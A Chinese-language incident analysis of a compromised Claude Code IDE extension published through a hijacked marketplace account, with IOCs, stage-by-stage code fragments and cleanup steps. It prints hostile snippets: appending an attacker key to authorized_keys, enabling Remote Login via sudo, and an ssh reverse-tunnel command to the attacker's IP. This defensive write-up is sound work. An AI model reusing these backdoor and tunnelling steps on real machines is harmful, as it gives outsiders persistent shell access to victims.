你的 IDE 插件改了 authorized_keys:Claude Code 扩展投毒链路拆解

你的 IDE 插件改了 authorized_keys:Claude Code 扩展投毒链路拆解

10 月 30 日,安全公司 Phorion 挂出一篇 advisory。标题很干:《Official Claude Code Extension Compromise: Security Advisory》。

内容不干。

Cursor 市场里的 Claude Code for VS Code 扩展,2.1.312 和 2.1.313 这两个版本,被人塞了一段前置代码。它不弹窗,不报错,不需要你点任何按钮,也不需要你打开任何面板。Node 只要把这个 extension.js 加载进来,代码就开始跑------第一件事是去改你的 ~/.ssh/authorized_keys。

这东西装量在两千万级别。HN 上那条讨论拿到 885 分、522 条评论,最上面一句是「2700 万次安装,哦豁」。

先把一个容易被带偏的说法纠正掉。

Anthropic 的 Felix Rieseberg 在 HN 上回复得很直接:这不是 Anthropic 的系统或员工电脑被入侵,是有人拿到了 Cursor 市场的发布权限,发了一份「我们没构建、也没发布」的篡改版,官方渠道的版本不受影响,只影响 Cursor 用户。(原帖)

这句话比事件本身更值得记住。

先把事实摆齐

项目 值
受影响版本 2.1.312、2.1.313(Cursor 市场,macOS / Windows)
后门包 SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
受害者登录公钥 SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk(注释 svc-telemetry)
隧道公钥 SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ(注释 svc-telemetry-tun)
隧道服务器 134.209.82.225 TCP 22,用户名 tunnel
回连上报 134.209.82.225:8099 与 127.0.0.1:8099,POST /beacon

来源:Phorion advisory、HN 讨论。

阶段一:为什么它是一段 IIFE

被打过手脚的 extension.js,结构很朴素:

复制代码
(function(){ ... })();   // 注入的前缀
+ 原来那一坨压缩过的扩展代码

就是一个立即执行函数表达式,拼在压缩包最前面。

这个位置选得很讲究。VS Code 系扩展的入口是 activate(),正常逻辑要等 IDE 决定激活这个扩展时才跑。而 IIFE 在模块加载阶段就执行了------也就是 Node 读完文件的那一瞬间。用户装完、重启 IDE、插件宿主进程起来,代码已经跑完了,activate 连影子都还没出现。

前缀里 require 的都是 Node 自带模块:child_process、fs、os、path、http、crypto。没有额外依赖,不需要下载什么,一个文件自带全套工具。

阶段二:它不用 shell,所以只看命令的规则抓不到

第一件事是准备进门的路。

脚本先确认 ~/.ssh 存在,然后把一段攻击者持有的 Ed25519 公钥追加进 authorized_keys。目录权限设 0700,文件设 0600------这是 SSH 的正常要求,照做反而让文件看起来更「合规」。

细节在这里:

js 复制代码
if (cur.indexOf("svc-telemetry") < 0) {
    fs.appendFileSync(ak, PUB + "\n");
}

写入用的是 fs.appendFileSync,不是 echo,不是 tee,也没有起子进程。

意味着什么?如果你只监控进程命令行里谁动了 authorized_keys,这一条完全不会命中。命中的前提是你有文件修改的遥测------比如 macOS 上那条「IDE 的 Helper 进程去写了 ~/.ssh/authorized_keys」。IDE 主程序签名是合法的,但它的扩展宿主进程没有任何理由在后台改 SSH 认证文件。

还有一个顺手可捡的破绽:去重判断查的是注释字符串 svc-telemetry,不是公钥指纹。也就是说,攻击者自己给自己留了个后门------任何按注释做检测的地方都能对得上,但同一个注释也被用来防重复写入。做排查时按指纹查比按注释查靠谱。

真正让后门生效还需要 SSH 服务在跑。三个平台各走各的路:

  • Linux:systemctl 启 sshd,失败退回 service / /etc/init.d/。
  • macOS:查 Remote Login 状态,如果是 Off 就 sudo -n systemsetup -setremotelogin on。
  • Windows:PowerShell 装 OpenSSH Server 并启动。

全程没有提权漏洞。sudo -n 在标准用户下会直接失败,除非这台机器本来就配了免密 sudo。这决定了它是一颗「等你已经开着门」的钉子,而不是一把万能钥匙。

阶段三:一把钥匙进门,一把钥匙出门

这里有两个 key,特别容易搞混,而且排查时搞混就会漏。

  • 追加到 authorized_keys 的公钥 (svc-telemetry):让攻击者能登进受害者的机器。
  • 内嵌在脚本里的私钥 (svc-telemetry-tun):让受害者的机器能连出去,登到攻击者的隧道服务器。

一个进,一个出,方向相反。

隧道私钥会先被写到系统临时目录,文件名是 .stk_ 加上 MD5(hostname + HOME) 的前 10 个十六进制字符。这个命名方式挺讲究:同一台机器每次算出来的名字一样,重启后能复用,但在目录列表里看不出规律。

然后连出去:

复制代码
ssh -N -R *:0:localhost:22 tunnel@134.209.82.225

-R *:0:localhost:22 是关键。远程端口填 0,等于让对方的服务器自己分配一个空闲端口,再把打到这个端口上的流量,顺着隧道回推到受害者本机的 localhost:22。

链路长这样:

复制代码
操作员 --直连--> 服务器分配端口 --已有隧道--> 受害者 localhost:22 --植入的 key 认证--> shell

-N 表示不执行远端命令,纯粹保持端口转发。所以整条链子里,攻击者不需要在 JavaScript 里写任何 C2 协议------他复用了一个所有人都信任的东西:SSH 本身。

其余参数都在压噪音:关掉 host key 检查、忽略 known_hosts、BatchMode 和 IdentitiesOnly 打开、keepalive 30 秒配 ServerAliveCountMax=3、ExitOnForwardFailure 打开。装了 autossh 就用它,没装退回原生 ssh,外面套一个 detach 的循环,失败就睡 60 秒重连,用 pgrep 防重复。因为循环是 detach 的,你把 IDE 关掉,隧道还在。

阶段四:重启之后它还在

持久化按平台分开做:

  • Linux:写 ~/.config/.smt 脚本(里面内嵌隧道私钥,运行时吐出 ~/.config/.smtk),再往用户 crontab 塞一条 @reboot。
  • macOS:在 ~/Library/LaunchAgents/ 下写 com.apple.sysmond.plist,RunAtLoad 和 KeepAlive 都是 true,内容就是 /bin/sh ~/.config/.smt,然后 launchctl 加载。
  • Windows:尝试建一个名为 SysMon、以 SYSTEM 身份启动的计划任务,失败就把 sysmon.cmd 丢进启动文件夹。

com.apple.sysmond 这个名字是故意起的。它跑在用户上下文里,不是 root 的 LaunchDaemon,权限不高,但足够维持一条出站连接。

最后是侦察。一次性 POST /beacon,内容很轻:主机名、用户名、平台、架构、home 目录、当前工作目录、git config --global user.email,加上公网 IP(查 ifconfig.me,失败退回 api.ipify.org),再加每个阶段的执行状态。

有一步值得单独说:它会遍历 process.env,筛出名字匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的变量,最多取 40 个,只取名字,不取值。

不是良心发现。是取证成本问题:知道这台机器上挂着 AWS 的 key 还是 GitHub 的 token,比一次把几百个值打包传走更划算------先挑肥的。

一个 bug,救了一批人

这是整篇 advisory 里最有意思的部分。

macOS 那段逻辑是这样的:

js 复制代码
rl = ex("systemsetup -getremotelogin 2>/dev/null");
if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on");
}

它的假设是:用普通用户身份能读出 Remote Login 状态,输出 Remote Login: Off,然后去打开。

实际发生的:

复制代码
You need administrator access to run this tool... exiting!

systemsetup 拒绝在非管理员上下文读这个设置,把错误打到 stdout,退出码是 0 。而脚本的 ex() 只取 stdout 文本,catch 里才返回空串------退出码压根没看。

于是 /Off/i.test(rl) 得到 false,if 块被跳过,sudo -n systemsetup -setremotelogin on 一次都没执行。

换句话说,这段代码把「我没权限查它是不是关的」当成了「它是开着的」。

后果很具体:如果这台 Mac 本来就没开远程登录,后门的前半截(公钥、持久化、出站隧道)全都装上了,但攻击者从隧道回推到 localhost:22 时会撞上一个没人监听的端口。入站这条路,被恶意脚本自己的判断逻辑堵死了。

而且这个错误的副作用还挺「干净」:正因为 if 块没进,进程遥测里连一次 setremotelogin 的尝试都看不到。所以排查时不能把「有没有执行 systemsetup -setremotelogin on」当成必要条件------它本来就可能不出现。

Windows 那条路上有个同类的 bug:服务安装命令被丢进一个 det() 辅助函数,而这个函数把 shell 硬编码成了 /bin/sh。在标准 Windows 安装上没有 /bin/sh,这条命令自然走不通。

两个 bug,同一个根源:写恶意代码的人也在跨平台复制粘贴,也没在每套环境里完整跑通一遍。

但这不能当防御用。机器本来就开着远程登录的、或者事后自己开了的,后门一直在那儿等着。

真正难受的地方:ID 是官方的,构建不是

假想一下你是个很谨慎的开发者。你装扩展会看 publisher,会看 displayName,会看版本号是不是连续的。这次三样全对。

因为攻击者拿到的不是「仿冒一个同名扩展」的机会,而是「用官方那个账号发一个包」的机会。发布权限,才是这条链子上真正的入口。

这就是为什么 Felix 的措辞值得反复读:不是我们的系统被入侵,是有人拿到了市场的发布权限。两个说法指向完全不同的防御重点------前者要加固构建机,后者要回答一个更难的问题:谁能在你的名字下发版?

生态也在往这个方向挪。VS Code 仓库里那条 minimumReleaseAge 提案(#316867,标签 feature-request / verified / extensions)现在已经是 completed 状态。它的思路不是「上架前审得更狠」,而是「新版本先别急着推给所有人」------给社区留一个发现和撤包的窗口。对于这种「账号被盗、包是真的、签名也是真的」的场景,延迟可见比事前审核更对症。

而 Cursor 这边,HN 讨论里有人指出篡改文件出现在 Cursor 自己的镜像上,而不是主 OpenVSX;也有人顺手吐槽了 OpenVSX 缺少扩展签名与发布令牌长期不过期的问题。这些是社区讨论里的说法,位置在 这条串,值得自己翻一遍------里面有不少做过企业内 IDE 管控的人的真实吐槽。

有一点是确定的:marketplace.visualstudio.com 上 2.1.313 现在也查不到了。至于这是「发过又撤」,还是「从没发过」,两边说法并不一致,谨慎起见别拿它当结论。

卸载没用,得按阶段清

Phorion 在 advisory 里说得很清楚:卸载扩展不会删掉后门。它落在四个地方,得一个个清。

先看有没有中:

复制代码
ls ~/Library/LaunchAgents/com.apple.sysmond.plist
grep -c svc-telemetry ~/.ssh/authorized_keys

再看隧道是否还活着:

复制代码
ps aux | grep -E "stk_|\.smtk|134\.209\.82\.225"

清理顺序不能反:

  1. 先杀进程。/bin/sh 那个重连循环和任何连着 134.209.82.225 的 ssh / autossh。顺序反了,你删完文件它又写回来。
  2. 再拆持久化。launchctl unload 掉那个 plist 并删除,同时清 ~/.config/.smt 和 ~/.config/.smtk。Linux 上还要检查 crontab 的 @reboot 行------advisory 里提到,那个 crontab 检查逻辑有 bug,重复执行可能把用户原有的 cron 任务一起清掉。
  3. 再清钥匙。从 authorized_keys 里删掉 svc-telemetry 公钥,删 /tmp/.stk_*,确认远程登录没有被意外打开。
  4. 最后轮换凭证。如果有任何迹象表明通过隧道真的有人登进来过,那就按第 40 个环境变量的那个列表,把对应的 key 全换一遍。

还有一个排查细节很容易漏:入站会话是顺着本地端口转发进来的,所以在 SSH 日志里,成功登录的来源会显示成 127.0.0.1 或 ::1,认证用的是 svc-telemetry 那把 key。

看见本地回环地址登 SSH,不是内网扫描,是有人顺着你自己开的隧道走进来了。

最后一句

这次事件里最讽刺的地方,是一个恶意脚本的 bug 让它自己失败了一半。

但防御不能建立在这种运气上。真正能复用的结论只有两条:文件级遥测比命令行遥测更难绕,因为写文件的方式有太多种;而「这个包来自官方账号」这件事,在发布权限被拿走之后,就已经不再等于「这个包是官方构建的」。


参考:

相关推荐
00后程序员张1 小时前
Windows 开发 iOS App 入门,用 SwiftUI 写第一个 iOS App 装到 iPhone
ide·vscode·ios·objective-c·个人开发·swift·敏捷流程
Aman198415 小时前
Claude Code做Unity项目移植(一):从零散工具到团队式
unity·游戏开发·vibe coding·claude code·项目迁移
Vex2une16 小时前
WSL Containers 实战:2026 年 Windows 原生 Linux 容器开发指南
windows 11·docker desktop·vs code·gpu直通·wsl containers·wslc·linux 容器
是真的小外套16 小时前
网络安全实战第7期:Hydra爆破SSH实战
安全·web安全·ssh
deepseek2319 小时前
Claude Code 2.1.314 新增工作目录写入边界:工具权限、沙箱与安全盲区怎么分层
人工智能·ai agent·claude code
yz_aiks19 小时前
WorkBuddy 使用技巧:Claude Code 国内平替,签到免费用、自动签到和手机远程控制电脑
人工智能·ai编程·效率工具·claude code·workbuddy
golang学习记1 天前
IDEA 断点调试技巧:拖拽
java·ide·intellij-idea
Halo10131 天前
VSCode设置护眼背景色
ide·vscode·编辑器
fanruitian1 天前
pycharm 使用anaconda
ide·python·pycharm